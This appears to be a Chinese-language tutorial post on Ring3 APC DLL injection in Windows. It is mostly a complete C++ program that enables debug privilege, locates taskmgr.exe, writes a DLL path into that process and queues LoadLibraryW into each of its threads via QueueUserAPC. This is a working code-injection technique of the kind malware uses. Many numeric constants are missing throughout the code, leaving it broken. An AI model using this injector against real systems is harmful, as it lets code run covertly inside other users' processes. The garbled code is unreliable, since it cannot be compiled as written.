注入 - Ring3 APC注入

系统产生一个软中断，当线程再次被唤醒时，此线程会首先执行APC队列中的被注册的函数，利用QueueUserAPC()这个API，并以此去执行我们的DLL加载代码，进而完成DLL注入的目的，

1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中

  1 // APCInject(Ring3).cpp : 定义控制台应用程序的入口点。
 //

 #include "stdafx.h"
 #include <windows.h>
 #include <TlHelp32.h>
 #include <ntstatus.h>
 #include <vector>
 #include <iostream>

 using namespace std;
 /*
 Win7下成功 Win10不一定成功（编译对应的位数，管理员身份运行）
 Win7要将倒着插入！！
 要将DLL拷到.cpp的文件夹中
 尽量选择线程多的exe 

 另外没有提供删除APC队列中函数的方法，所以不能反复注入。
 */

 WCHAR    __DllFullPath[MAX_PATH] = {  };
 PVOID    __DllFullPathBufferData = NULL;
 UINT_PTR __LoadLibraryWAddress = ;

 //typedef void(*pfnSub_110)();

 BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID);
 BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector);
 BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID);
 BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable);

 int main()
 {
     if (DebugPrivilege(SE_DEBUG_NAME, TRUE)==FALSE)
     {
         printf("DebugPrivilege Error\r\n");
     }

     GetCurrentDirectory(MAX_PATH, __DllFullPath);

     wcscat(__DllFullPath, L"\\Dll.dll");

     UINT ProcessID = ;

     if (GetProcessIDByProcessImageName(
         L"taskmgr.exe", &ProcessID) == FALSE)
     {

         return ;
     }

     vector<UINT32> ThreadIDVector;

     if (GetThreadIDByProcessID(ProcessID, ThreadIDVector) == FALSE)
     {
         return ;
     }

     size_t ThreadCount = ThreadIDVector.size();
     //每一个线程
     /*
     win7下得倒着注入
     */
     for (INT_PTR i = ThreadCount - ; i >= ; i--)
     {
         UINT32 ThreadID = ThreadIDVector[i];
         InjectDllByApc(ProcessID, ThreadID);
     }

     printf("Input Any Key to Exit\r\n");
     getchar();
     getchar();

     return ;
 }

 BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID)
 {
     HANDLE  ThreadHandle = NULL;
     HANDLE    ProcessHandle = OpenProcess(
         PROCESS_ALL_ACCESS, FALSE, ProcessID);

     SIZE_T  DllFullPathLength = ((wcslen(__DllFullPath) + ));

     SIZE_T        ReturnLength = ;
     BOOL        IsOk = FALSE;

     // 申请一次内存
     if (__DllFullPathBufferData == NULL)
     {
         __DllFullPathBufferData =
             VirtualAllocEx(
                 ProcessHandle,
                 NULL,
                 DllFullPathLength * ,
                 MEM_COMMIT | MEM_RESERVE,
                 PAGE_EXECUTE_READWRITE
             );

         if (__DllFullPathBufferData == NULL)
         {
             CloseHandle(ProcessHandle);
             ProcessHandle = NULL;
             return FALSE;
         }

         IsOk = WriteProcessMemory(
             ProcessHandle,
             __DllFullPathBufferData,
             __DllFullPath,
             DllFullPathLength * ,
             &ReturnLength
         );

         if (IsOk == FALSE)
         {

             VirtualFree(__DllFullPathBufferData,
                 DllFullPathLength * , MEM_RELEASE);

             CloseHandle(ProcessHandle);
             ProcessHandle = NULL;
             return FALSE;
         }
     }

     __LoadLibraryWAddress =
         (UINT_PTR)GetProcAddress(
             GetModuleHandle(L"Kernel32.dll"),
             "LoadLibraryW"
         );

     if (__LoadLibraryWAddress == NULL)
     {
         VirtualFree(
             __DllFullPathBufferData,
             DllFullPathLength * , MEM_RELEASE);
         CloseHandle(ProcessHandle);
         ProcessHandle = NULL;
         return FALSE;
     }

     __try
     {
         ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
         DWORD v1 = QueueUserAPC(
             (PAPCFUNC)__LoadLibraryWAddress,
             ThreadHandle,
             (UINT_PTR)__DllFullPathBufferData
         );   //LoadLibraryWAddress("DllFullPathBufferData")
         if (v1 == )
         {
             printf("FAIL %d\r\n", GetLastError());
         }
         else if (v1 != )
         {
             printf("Success\r\n");
         }
     }

     __except (EXCEPTION_CONTINUE_EXECUTION)
     {

     }

     CloseHandle(ProcessHandle);
     CloseHandle(ThreadHandle);

     return TRUE;
 }

 BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector)
 {
     HANDLE            ThreadSnapshotHandle = NULL;
     THREADENTRY32    ThreadEntry32 = {  };

     ThreadEntry32.dwSize = sizeof(THREADENTRY32);

     ThreadSnapshotHandle = CreateToolhelp32Snapshot(
         TH32CS_SNAPTHREAD, );
     if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
     {
         return FALSE;
     }

     BOOL IsOk = Thread32First(
         ThreadSnapshotHandle, &ThreadEntry32);

     if (IsOk)
     {
         do
         {
             if (
                 ThreadEntry32.th32OwnerProcessID
                 == ProcessID)
             {
                 ThreadIDVector.emplace_back(
                     ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
             }
         } while (Thread32Next(
             ThreadSnapshotHandle, &ThreadEntry32)
             );

     }

     CloseHandle(ThreadSnapshotHandle);
     ThreadSnapshotHandle = NULL;

     return TRUE;
 }

 BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID)
 {
     HANDLE ProcessSnapshotHandle = NULL;
     ProcessSnapshotHandle =
         CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, );

     if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
     {
         return FALSE;
     }

     PROCESSENTRY32 ProcessEntry32 = {  };
     ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);

     BOOL IsOk = Process32First(
         ProcessSnapshotHandle,
         &ProcessEntry32
     );

     if (IsOk)
     {
         do
         {
             if (
                 lstrcmpi(ProcessEntry32.szExeFile,
                     ProcessImageName)==
                 )
             {
                 *ProcessID = ProcessEntry32.th32ProcessID;
                 break;
             }
         } while (Process32Next(
             ProcessSnapshotHandle,
             &ProcessEntry32
         )
             );
     }

     if (*ProcessID==)
     {
         printf("Get ProcessID FAIL! 请打开任务管理器.\r\n");
         return FALSE;
     }

     CloseHandle(ProcessSnapshotHandle);
     ProcessSnapshotHandle = NULL;

     return TRUE;
 }

 BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable)
 {
     BOOL              bRet = TRUE;
     HANDLE            TokenHandle;
     TOKEN_PRIVILEGES  TokenPrivileges;

     //进程 Token 令牌
     if (!OpenProcessToken(GetCurrentProcess(),
         TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
     {
         bRet = FALSE;
         return bRet;
     }
     TokenPrivileges.PrivilegeCount = ;
     TokenPrivileges.Privileges[].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : ;

     LookupPrivilegeValue(NULL, DebugName, &TokenPrivileges.Privileges[].Luid);
     AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
     if (GetLastError() != ERROR_SUCCESS)
     {
         bRet = FALSE;
     }

     CloseHandle(TokenHandle);
     return bRet;

 }